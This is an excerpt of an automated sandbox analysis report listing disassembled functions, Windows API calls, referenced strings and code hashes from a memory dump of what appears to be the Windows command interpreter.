CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000104), ref: 001B61D7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000000,00000000,00000040), ref: 001B6211
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,00000014,00000004), ref: 001B6254
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 001B625B
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?), ref: 001B628D
RtlFreeHeap.NTDLL(00000000), ref: 001B6294
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,00000040), ref: 001B629B

Strings

PE, xrefs: 001B622C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heap$FileProcess$AllocCloseCreateFreeHandlePointer
String ID: PE
API String ID: 3093239467-4258593460
Opcode ID: b0c262c8b3e3b5803c0b612852b64431cb8f37d112b5492cb32278f9c2f958cb
Instruction ID: eae50379ff5616549c1080cc9c5281fb0a057e48f91675a2db69b5621f177cbc
Opcode Fuzzy Hash: b0c262c8b3e3b5803c0b612852b64431cb8f37d112b5492cb32278f9c2f958cb
Instruction Fuzzy Hash: 93310E34701304AAFB20ABA28C09FEE7769AFE8B51F044265F911D61D0DB788846C661

Function 00198F21 Relevance: 13.9, APIs: 9, Instructions: 389COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00198FCD
_wcsicmp.MSVCRT ref: 00198FE3
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00199002
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00199013

Part of subcall function 0019A62F: wcschr.MSVCRT ref: 0019A635

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp$AttributesErrorFileLastwcschr
String ID:
API String ID: 2943530692-0
Opcode ID: 553f6e348a107214a1a14a3b4ce1d13d784c30d2ae38a67579d0e44e5b3db711
Instruction ID: 0dfa7a03400c8d01ff9f05df45172e0f530321e0d723be611ef76c25bbf56929
Opcode Fuzzy Hash: 553f6e348a107214a1a14a3b4ce1d13d784c30d2ae38a67579d0e44e5b3db711
Instruction Fuzzy Hash: 06C13435A042119BCF28EF7C888567E77B5BF59314F28812EE916D7281EB74CD81CB91

Function 0019802C Relevance: 13.7, APIs: 9, Instructions: 175COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00198060

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

??_V@YAXPAX@Z.MSVCRT(?,-00000001,00000000,?,00000000), ref: 001981BE

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000000,-00000001,00000000,?,00000000), ref: 0019818C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00198197
longjmp.MSVCRT(001D0A30,00000001,-00000001,00000000,?,00000000), ref: 001AB09E
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 001AB0AB
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,001B7FC9,?,001B99AE,00000000,?,00000000,001ACF94,00000000,?), ref: 001AB0C1
fprintf.MSVCRT ref: 001AB0D5
fflush.MSVCRT ref: 001AB0E3

Part of subcall function 00198F21: _wcsicmp.MSVCRT ref: 00198FCD
Part of subcall function 00198F21: _wcsicmp.MSVCRT ref: 00198FE3
Part of subcall function 00198F21: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00199002
Part of subcall function 00198F21: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00199013

Part of subcall function 00198E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001D8BF0,00000000,?), ref: 00198EC3

Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D3A
Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D44
Part of subcall function 001A1CD5: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D57
Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D61

Part of subcall function 001A01F5: wcsrchr.MSVCRT ref: 001A01FB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Error$Mode$AttributesCriticalFileHeapLastSection_wcsicmpmemset$AllocCurrentDirectoryEnterFullLeaveNamePathProcessfflushfprintflongjmpwcsrchr
String ID:
API String ID: 3753564779-0
Opcode ID: e901226ef35ed84a627c53c5422db7f333a88e2bfacaacc293217921ea0f5f5c
Instruction ID: 5650cb053a4124f6e3df39241e4757b6efaa84f806baf1efbc0c81ab8b3abfd4
Opcode Fuzzy Hash: e901226ef35ed84a627c53c5422db7f333a88e2bfacaacc293217921ea0f5f5c
Instruction Fuzzy Hash: 5F51DE30A01211AFCF24EBB49C96ABF77B5EF19710F14042AF906D7691EB70C981CB51

Function 001B8B6C Relevance: 13.6, APIs: 9, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001B8B7B
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001B9323,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 001B8B83

Part of subcall function 0019A16C: _close.MSVCRT ref: 0019A19B

_get_osfhandle.MSVCRT ref: 001B8BB5
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001B8BBD
_get_osfhandle.MSVCRT ref: 001B8BCF
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001B8BD7
memcmp.MSVCRT(?,?,?), ref: 001B8BED

Part of subcall function 001A654B: _wcsicmp.MSVCRT ref: 001A65A4
Part of subcall function 001A654B: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,00000000,00000003,08000080,00000000), ref: 001A65D7
Part of subcall function 001A654B: _open_osfhandle.MSVCRT ref: 001A65EB
Part of subcall function 001A654B: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,?), ref: 001B2092

_get_osfhandle.MSVCRT ref: 001B8C1A
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001B8C22

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$_get_osfhandle$Pointer$BuffersCloseCreateFlushHandleRead_close_open_osfhandle_wcsicmpmemcmp
String ID:
API String ID: 4208585293-0
Opcode ID: 7c20f781a55e9849ae4142fdb2a131a3542540d313720ec3093b2b49b16607b8
Instruction ID: 4421023117e93d8a2cdeae142104e74c2cc05d5842b20b0fadb60079e6a30edd
Opcode Fuzzy Hash: 7c20f781a55e9849ae4142fdb2a131a3542540d313720ec3093b2b49b16607b8
Instruction Fuzzy Hash: 5F21D1B1601204AFEB28AF30DC4EEBB7B6DEF94760F644629F156C21E1EB718C41C621

Function 001A38D0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A3941
memset.MSVCRT ref: 001A396F

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

??_V@YAXPAX@Z.MSVCRT(?), ref: 001A3AB4
??_V@YAXPAX@Z.MSVCRT(?), ref: 001A3ACF

Strings

%s, xrefs: 001AF9A2

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset
String ID: %s
API String ID: 2221118986-3043279178
Opcode ID: 4ccb49619dad773d99fbc0c743889dd21308809ca8b9783ac2be56a1804e8fab
Instruction ID: 55cae7af97e2a4f6efdb2c5f8360cb680b06df4d5ff69d3b297c9b888e552e7f
Opcode Fuzzy Hash: 4ccb49619dad773d99fbc0c743889dd21308809ca8b9783ac2be56a1804e8fab
Instruction Fuzzy Hash: FA919E796093419FDB34DE50C885BABB3E4BF96304F00092DF999C7190EB38EA45CB52

Function 0019BF70 Relevance: 12.4, APIs: 8, Instructions: 447COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

_wcsnicmp.MSVCRT ref: 0019C1B7
wcstol.MSVCRT ref: 0019C1FC
wcstol.MSVCRT ref: 0019C28A
longjmp.MSVCRT(?,000000FF), ref: 001ACFB0
longjmp.MSVCRT(?,000000FF), ref: 001ACFC4

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heaplongjmpwcstol$AllocProcess_wcsnicmp
String ID:
API String ID: 2863075230-0
Opcode ID: df4fc24d9bcab18b54db186df397b010b7522515f8461c39821b94d033b725b2
Instruction ID: 9fca8c9f485e2c1cd33ea098d677f3ff8a3f9211ea30459977edfbaf04ff0344
Opcode Fuzzy Hash: df4fc24d9bcab18b54db186df397b010b7522515f8461c39821b94d033b725b2
Instruction Fuzzy Hash: 8AF1A279D00215CBCF28CF98C9916BEB7B1BF98700F59821AE856A7784E7716E41CBD0

Function 001A26DC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A2795

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

memset.MSVCRT ref: 001A280E
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,00000000,00000000,00000000,00000104,-00000001,?,00000002,00000000), ref: 001A281D
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(DIRCMD,?,?,00000000), ref: 001A2857
??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,00000002,00000000), ref: 001A290B

Strings

DIRCMD, xrefs: 001A2818, 001A2852

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: 3bdf40ec09740c5087d0da0ee05dc4c321454db2055812c985df1dbb8fd338d4
Instruction ID: 5993fd9c6b13e8a4212f8f292ea694368f5b3630790b642d21cc2faca63ea696
Opcode Fuzzy Hash: 3bdf40ec09740c5087d0da0ee05dc4c321454db2055812c985df1dbb8fd338d4
Instruction Fuzzy Hash: 467135B5A0D3819FD768DF29C884A9BBBE4BF9A300F10492EF59983250DB348904CB57

Function 001A31EA Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 001A320A
wcschr.MSVCRT ref: 001A321B
wcschr.MSVCRT ref: 001A322E
wcschr.MSVCRT ref: 001A3252
wcschr.MSVCRT ref: 001A3269

Strings

+-~!, xrefs: 001A3228, 001A322D, 001A3251
<>+-*/%()|^&=,, xrefs: 001A3216, 001A3264

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswdigit
String ID: +-~!$<>+-*/%()|^&=,
API String ID: 2770779731-632268628
Opcode ID: 0820db80eb04736603c25562e2ab31ac06b432645a7b2af31c5f34dadcb5d93b
Instruction ID: 2efc31c66d61f509d2043afa3dac8e034f5ce7eb119f78c0bb9bfb55e8e31e78
Opcode Fuzzy Hash: 0820db80eb04736603c25562e2ab31ac06b432645a7b2af31c5f34dadcb5d93b
Instruction Fuzzy Hash: 77119E3A205212AFE7259F6AE844B7677E9FF9B761320002FF890C7650EB21DC408660

Function 001949F8 Relevance: 12.2, APIs: 8, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00199A11: _get_osfhandle.MSVCRT ref: 00199A1C
Part of subcall function 00199A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0019793A,00000104,?), ref: 00199A2B
Part of subcall function 00199A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A47
Part of subcall function 00199A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A56
Part of subcall function 00199A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374), ref: 00199A61
Part of subcall function 00199A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,?,?,?,?,?,?,?,?,?,?,?,00197908,00002374,-00000001), ref: 00199A6A

_get_osfhandle.MSVCRT ref: 001A86E3
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001A86EB
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002), ref: 001A872A
_get_osfhandle.MSVCRT ref: 001A8743
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001A874B

Part of subcall function 00199B3B: _get_osfhandle.MSVCRT ref: 00199B4E
Part of subcall function 00199B3B: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,001D0AF0,000000FF,001CA7F0,00002000,00000000,00000000), ref: 00199B8E
Part of subcall function 00199B3B: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,001CA7F0,-00000001,?,00000000), ref: 00199BA3

longjmp.MSVCRT(001D0A30,00000001), ref: 001A87CE

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console_get_osfhandle$Write$FileLockModeShared$AcquireByteCharHandleMultiReleaseTypeWidelongjmp
String ID:
API String ID: 1333215474-0
Opcode ID: 9cf75a6bcde015d77c67dce4810ff189dd6bd6a14f3d942ad80e6a36b9d47733
Instruction ID: 2ac8712d23542d6256ae2d9d5b2bd3cd61e12f40bd580bc9f159deccc4d1413b
Opcode Fuzzy Hash: 9cf75a6bcde015d77c67dce4810ff189dd6bd6a14f3d942ad80e6a36b9d47733
Instruction Fuzzy Hash: F251F734B41301EBDF28EBB4D89AB7EB7A9EF10714F10452AF502D7681EB70DC418A51

Function 00196150 Relevance: 10.8, APIs: 7, Instructions: 264COMMON

Download Yara Rule

APIs

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

iswspace.MSVCRT ref: 001961E4

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswspace
String ID:
API String ID: 3458554142-0
Opcode ID: 891ae5c3f9a3c237d15497e0a980c4e59e6091c14a32d9bd377f4c20e2f07bdb
Instruction ID: 35c25aa257cd7ed4fea157ff44d7aa7f2d7f29102050444f9a19311c4a0362ff
Opcode Fuzzy Hash: 891ae5c3f9a3c237d15497e0a980c4e59e6091c14a32d9bd377f4c20e2f07bdb
Instruction Fuzzy Hash: C391CE74900254AFDB24DF64EC45AAEBBB4FF59700F20842EF806D7690EB719881CB66

Function 0019A6A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0019A6B3
_wcsicmp.MSVCRT ref: 0019A700
_wcsicmp.MSVCRT ref: 0019A75F

Strings

ELSE, xrefs: 0019A75A
IF/?, xrefs: 0019A6AC

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp
String ID: ELSE$IF/?
API String ID: 2081463915-1134991328
Opcode ID: 5309aaec4eea2ef2a0b9c731a4b0f1b0a9c0dec81005a8bc875c2c82f7d76618
Instruction ID: 86db918c32658c3c7b3bf4e092bca292f48a6174300fdbf28be2b97cde2d5771
Opcode Fuzzy Hash: 5309aaec4eea2ef2a0b9c731a4b0f1b0a9c0dec81005a8bc875c2c82f7d76618
Instruction Fuzzy Hash: 6F5168326043019BEF38AB75AC47B2B37A4AF96314F55042FE1428B5D1EBB1C889C7D2

Function 001A62C0 Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

Part of subcall function 001A643A: NtOpenThreadToken.NTDLL(000000FE,00000008,00000000,00000000), ref: 001A6454
Part of subcall function 001A643A: NtOpenProcessToken.NTDLL(000000FF,00000008,00000000), ref: 001A646C
Part of subcall function 001A643A: NtClose.NTDLL ref: 001A64BD

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000), ref: 001A63B5
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 001A63E3
RtlNtStatusToDosError.NTDLL ref: 001B1EF4
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001B1EFB
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(?,00000104,?,000000FF,00000002,00000000), ref: 001B1F6B
wcsstr.MSVCRT ref: 001B1F86
wcsstr.MSVCRT ref: 001B1FA4

Part of subcall function 001A640A: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,?,00000000,?,00000000,?,?,?,?,001B9C96,001AFDFA,00000000,?), ref: 001A642F

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: deb39b6733ceae01a3a5f23d6fdfc2deeb31b5838b23e8f9a59d41c8d03dc098
Instruction ID: fdbe42720e6947cde3aeb09091d9078dbfb7787cfdb3e8782c22fd1da032b80b
Opcode Fuzzy Hash: deb39b6733ceae01a3a5f23d6fdfc2deeb31b5838b23e8f9a59d41c8d03dc098
Instruction Fuzzy Hash: 0251E335A012299BCF249F659C987FE73A4FF65310F5940ADE909D7240EB70DD86CB50

Function 001B9A7D Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001B9AC2

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,-00000105,?,00000000,?), ref: 001B9B22
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,?), ref: 001B9B32
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,-00000105,?,00000000,?), ref: 001B9BAD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 001B9BB8
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 001B9BCB
??_V@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,?), ref: 001B9BF9

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Error$CurrentDirectoryModememset$Last
String ID:
API String ID: 1725644760-0
Opcode ID: f0692506df5d4ca63cef5458eb7d376818ca2ce31424fc0a2f37d9fddf2c6e21
Instruction ID: f12e71d590a15788f097075492c470162279996481bfb358c5933176fac70803
Opcode Fuzzy Hash: f0692506df5d4ca63cef5458eb7d376818ca2ce31424fc0a2f37d9fddf2c6e21
Instruction Fuzzy Hash: C4417D31A01218ABDF14DBA4EC85FEEB7B4FF18310F04819AE905E7290EB38DA41CB55

Function 001BB701 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0(00000000,00000000,00000000,00000001), ref: 001BB717
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 001BB72A
RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0(?,?,?), ref: 001BB7FC

Part of subcall function 00198235: _get_osfhandle.MSVCRT ref: 0019824E
Part of subcall function 00198235: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00198256
Part of subcall function 00198235: _get_osfhandle.MSVCRT ref: 00198264
Part of subcall function 00198235: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0019826C

memset.MSVCRT ref: 001BB76D
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0(?,?,?), ref: 001BB788

Strings

<, xrefs: 001BB764

Memory Dump Source

